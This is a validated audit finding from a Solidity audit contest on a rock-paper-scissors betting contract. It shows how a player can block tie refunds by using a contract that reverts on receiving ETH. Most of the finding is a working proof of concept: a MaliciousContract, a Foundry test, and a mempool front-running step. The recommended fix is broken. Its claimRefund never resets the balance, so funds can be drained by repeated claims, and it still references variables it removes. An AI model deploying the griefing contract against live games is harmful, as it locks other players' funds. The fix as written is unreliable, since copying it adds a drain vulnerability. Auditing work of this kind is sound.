Rock Paper Scissors
First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

In case of a tie, malicious player can revert on receiving ETH, preventing the opponent from receiving their rightful refund in a DoS attack

37h3rn17y2

Summary

In an ETH game, during a tie scenario, both players are refunded their initial bets (minus protocol fees) in RockPaperScissors::_handleTie. However, a malicious player can revert on receiving the ETH refund, thus preventing the opponent from receiving their rightful refunds. Additionally, the game state is unable to change to Finished and the game is stuck. Since this issue causes the loss of the opponent's funds, this breaks the protocol intended functionality

Vulnerability Details

In RockPaperScissors::_handleTie#L528-529, both player A and player B are refunded their ETH initial bet (minus protocol fees). However, if one of the players is a malicious contract which reverts on receiving ETH, the RockPaperScissors::_handleTie function will revert. Hence, the opponent is prevented from receiving their rightful refunds due to this Denial-of-Service (DoS) attack. Additionally, the game state is unable to change to Finished and the game is stuck.

RockPaperScissors::_handleTie#L528-529

function _handleTie(uint256 _gameId) internal {
Game storage game = games[_gameId];
​
game.state = GameState.Finished;
​
// Return ETH bets to both players, minus protocol fee
if (game.bet > 0) {
// Calculate protocol fee (10% of total pot)
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
uint256 refundPerPlayer = (totalPot - fee) / 2;
​
// Accumulate fees for admin
accumulatedFees += fee;
emit FeeCollected(_gameId, fee);
​
// Refund both players
@> (bool successA,) = game.playerA.call{value: refundPerPlayer}("");
@> (bool successB,) = game.playerB.call{value: refundPerPlayer}("");
require(successA && successB, "Transfer failed");
}
​
// Return tokens for token games
if (game.bet == 0) {
winningToken.mint(game.playerA, 1);
winningToken.mint(game.playerB, 1);
}
​
// Since in a tie scenario, the total prize is split equally
emit GameFinished(_gameId, address(0), 0);
}

PoC

Place the following in RockPaperScissorsTest.t.sol and run

forge test --mt testDoSTieRefund

MaliciousContract maliciousContract;
function testDoSTieRefund() public {
RockPaperScissors.Move moveA;
RockPaperScissors.Move moveB;
bytes32 saltA;
bytes32 saltB;
​
// 1. Player A creates ETH game
vm.prank(playerA);
gameId = game.createGameWithEth{value: BET_AMOUNT}(TOTAL_TURNS, TIMEOUT);
​
// 2. Player B deploys malicious contract, funds malicious contract and joins the game
vm.startPrank(playerB);
maliciousContract = new MaliciousContract(address(game));
address(maliciousContract).call{value: playerB.balance}("");
(,, uint256 betAmount,,,,,,,,,,,,,) = game.games(gameId);
maliciousContract.joinGameWithEth(gameId, betAmount);
vm.stopPrank();
​
// 3. A tie condition occurs (but neither player is yet aware)
// Player A wins first turn
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Scissors);
playerAReveal(gameId, moveA, saltA);
playerBReveal(gameId, moveB, saltB);
// Player B wins second turn
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Paper);
playerAReveal(gameId, moveA, saltA);
playerBReveal(gameId, moveB, saltB);
// Last round is a tie
(moveA, saltA) = playerACommit(gameId, RockPaperScissors.Move.Rock);
(moveB, saltB) = playerBCommit(gameId, RockPaperScissors.Move.Rock);
​
// 4. Player B waits for player A to revealMove
// When player A reveals move, player B observes the mempool to see player A's revealMove calldata
bytes memory playerAcalldata = abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", moveA, saltA);
// 0x72722f670000000000000000000000000000000000000000000000000000000000000000c802ebbe46f030034a28f9e40a918c9bd5f49aad463001050875c95c146f5d8a00000000000000000000000000000000000000000000000000000000
// Player B decodes the move
// function selector = 0x72722f67
// move = 0000000000000000000000000000000000000000000000000000000000000000 // Rock
// salt = c802ebbe46f030034a28f9e40a918c9bd5f49aad463001050875c95c146f5d8a
// Player B is now aware that the game will end in a tie
​
// 5. Player B frontruns playerA revealMove and calls flipTriggerRevert
vm.prank(playerB);
maliciousContract.flipTriggerRevert();
// the maliciousContract will now revert on receiving ETH
// player B also reveals move (via malicious contract)
vm.prank(playerB);
maliciousContract.revealMove(gameId, uint8(moveB), saltB);
​
// 6. Player A's revealMove executes, RockPaperScissors::_handleTie reverts
// Player A is unable to receive their rightful refund
vm.expectRevert();
playerAReveal(gameId, moveA, saltA);
}
​
function playerACommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerA);
bytes32 saltA = keccak256(abi.encodePacked("salt for player A"));
bytes32 commitA = keccak256(abi.encodePacked(uint8(move), saltA));
game.commitMove(_gameId, commitA);
return(move, saltA);
}
​
function playerBCommit(uint256 _gameId, RockPaperScissors.Move move) public returns(RockPaperScissors.Move, bytes32) {
vm.prank(playerB);
bytes32 saltB = keccak256(abi.encodePacked("salt for player B"));
bytes32 commitB = keccak256(abi.encodePacked(uint8(move), saltB));
maliciousContract.commitMove(_gameId, commitB);
return(move, saltB);
}
​
function playerAReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltA) public {
vm.prank(playerA);
game.revealMove(_gameId, uint8(move), saltA);
}
​
function playerBReveal(uint256 _gameId, RockPaperScissors.Move move, bytes32 saltB) public {
vm.prank(playerB);
maliciousContract.revealMove(_gameId, uint8(move), saltB);
}
​
contract MaliciousContract {
address game;
address owner;
bool triggerRevert;
constructor(address _game){
game = _game;
owner = msg.sender;
}
​
modifier onlyOwner {
require(msg.sender == owner, "only owner can call this");
_;
}
​
function joinGameWithEth(uint256 _gameId, uint256 betAmount) external onlyOwner {
game.call{value: betAmount}(abi.encodeWithSignature("joinGameWithEth(uint256)", _gameId));
}
​
function commitMove(uint256 _gameId, bytes32 _commitHash) external onlyOwner {
game.call(abi.encodeWithSignature("commitMove(uint256,bytes32)", _gameId, _commitHash));
}
​
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external onlyOwner {
game.call(abi.encodeWithSignature("revealMove(uint256,uint8,bytes32)", _gameId, _move, _salt));
}
​
function flipTriggerRevert() external onlyOwner {
triggerRevert = !triggerRevert;
}
receive() external payable {
if (triggerRevert){
revert();
}
}
}

Impact

Impact: High, opponent cannot receive their rightful refund
Likelihood: Medium, tie conditions are a frequent occurrence in a rock-paper-scissors game. However, there is less incentive for a malicious player to perform this attack apart from griefing the other player as the malicious player also loses out on their refund
Severity: High

Tools Used

Manual Review

Recommendations

Use a pull-over-push approach to refund players

+ mapping(address => uint256) public claimable;
.
.
.
+ function claimRefund() public {
+ uint256 refundAmount = claimable[msg.sender];
+ (bool success,) = msg.sender.call{value: refundAmount}("");
+ require(success, "claimRefund failed");
+ }
.
.
.
function _handleTie(uint256 _gameId) internal {
Game storage game = games[_gameId];
​
game.state = GameState.Finished;
​
// Return ETH bets to both players, minus protocol fee
if (game.bet > 0) {
// Calculate protocol fee (10% of total pot)
uint256 totalPot = game.bet * 2;
uint256 fee = (totalPot * PROTOCOL_FEE_PERCENT) / 100;
uint256 refundPerPlayer = (totalPot - fee) / 2;
​
// Accumulate fees for admin
accumulatedFees += fee;
emit FeeCollected(_gameId, fee);
​
// Refund both players
- (bool successA,) = game.playerA.call{value: refundPerPlayer}("");
- (bool successB,) = game.playerB.call{value: refundPerPlayer}("");
+ claimable[game.playerA] += refundPerPlayer;
+ claimable[game.playerB] += refundPerPlayer;
require(successA && successB, "Transfer failed");
}
​
// Return tokens for token games
if (game.bet == 0) {
winningToken.mint(game.playerA, 1);
winningToken.mint(game.playerB, 1);
}
​
// Since in a tie scenario, the total prize is split equally
emit GameFinished(_gameId, address(0), 0);
}
Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

Denial of Service (DoS) due to Unhandled External Call Revert

Malicious player wins a game using a contract that intentionally reverts when receiving ETH, the entire transaction will fail

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.